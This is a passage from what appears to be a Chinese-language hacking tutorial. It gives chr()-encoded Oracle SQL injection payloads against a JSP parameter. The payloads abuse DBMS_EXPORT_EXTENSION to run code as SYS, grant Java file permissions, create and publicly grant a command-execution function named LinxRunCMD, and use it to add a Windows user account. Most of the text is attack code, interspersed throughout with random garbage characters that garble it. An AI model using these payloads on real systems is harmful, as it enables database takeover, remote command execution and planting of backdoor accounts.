chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
( B4 C$ v$ J; ^9 j0 g4 K, Z0 ]chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||& T; j/ u% w( i3 J
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
6 d' b* U* F& u,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 q8 q# F! Y& I
0 R) a% G0 Z% y)
1 P9 f8 C0 ^" L# @4 l: j1 r5 U- K0 i: m/ c
------------------------------, `; s* n3 O a* D* z
' }. ^) a& J) u' _! p2.赋Java权限
, ~7 f# c/ v8 f: ~/xxx.jsp?id=1 and chr(49)<>chr(50)||(
% m! u* n# {" p% B8 s: p& ^
% H; F+ D$ p( b: G8 i+ gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 o5 p" V+ \* M! wchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||& b1 u3 T4 f) s+ `
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
' q3 A" Y% h; }chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
7 ]! s% p# ^3 H1 q* `% {chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||3 y, j7 [5 C( M5 e5 R( b/ C" t
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||/ v- B0 s0 X. K- y. H8 r
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||3 j$ a( `+ h* l4 p
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||" T, f0 p. c+ t6 |' [
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||( F, A/ L* T$ |* B+ M1 }0 ~9 Q
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
$ {: H) D: ]- X1 ^- |4 f- ]* J$ },chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
; p* M) t" U/ s- n' S8 j) j: p1 ]
7 i& ?$ Q# G s0 Y4 D)
& K# d& l4 e# n7 @' M
" A0 q( v8 ]; T3 G; wreadfile函数的ascii版就不写了,见谅。" w) t: r0 B/ D3 ~
. J; i4 U+ X8 W9 h8 L) p0 i1 M: }9 j3.创建函数* |1 ~6 S! x+ R
1 T7 I$ f, S* \( S& S1 U1 `! nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
3 Q) ~* F. @$ M" O" ochr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
6 y! F5 t+ i; C9 I2 c) [. ^8 _chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||' A4 r2 u* \9 F4 B. G
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% D9 B9 ?' B4 Q4 B1 {$ S. c, l( ?
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||% ^" K1 v5 [1 Q1 T5 ^
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||6 @; j' j I% P) K z1 }
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||* ? s6 U3 D- a0 {, _
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||9 C5 |. n5 k$ ]0 k8 M3 W' Q
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 n7 E, m9 `- j5 U5 ?7 Ochr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
$ B, B! W) f1 ]# D- ]& E3 Cchr(59)||chr(45)||chr(45)
; G( ]4 r; T' @,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual( g( {& [/ r4 t4 L
) ~ N. I; E, w) l" _
2 q h9 n3 ]# N; e/ n. q# J! A
4.赋public执行函数的权限" {( ^: a' J& p$ F2 d. u" m
- S2 X+ A9 ?! {5 J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),/ {) w' q2 c" A" V! V w8 D V
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
* ?% a% k: h. l3 f1 q, Echr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
: w. g, I* f8 o( o, pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||+ h- i, v% `; _; Q9 w$ ]6 E
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
/ m* t8 m. S' i: b. q# @1 f. Ichr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
( Z4 ^+ z0 Z- m- Bchr(59)||chr(45)||chr(45)" g8 d! Q* T9 z& d
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
& y/ D, n* F/ `0 X1 u* @ [, H1 x- T$ V( o3 l' V6 Q
5 K! {: [* S: |+ P/ T6 x; W# X* y
2 L! Z' c, ^. J0 i$ j) [5.执行命令:
& m4 s2 k7 O1 j2 q, ]' e0 s
) w) u) @6 L! X: S6 f* ]/xxx.jsp?id=1 and chr(49)<>chr(32)||(+ @5 {4 T8 u. X' r5 x5 s
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
1 l, x& \" ^* r& Q)
! N, c& u- J* a# b/ D0 T
. h3 Z* X2 _" @) l. S即
( G/ x/ B; \/ |" r9 X/xxx.jsp?id=1 and chr(49)<>chr(32)||(
% G; U9 H) [5 y* x* Jselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual# S1 \" e* W% O3 y$ M, a
)
" ~ s" r) [' _" |9 m. u% d" B |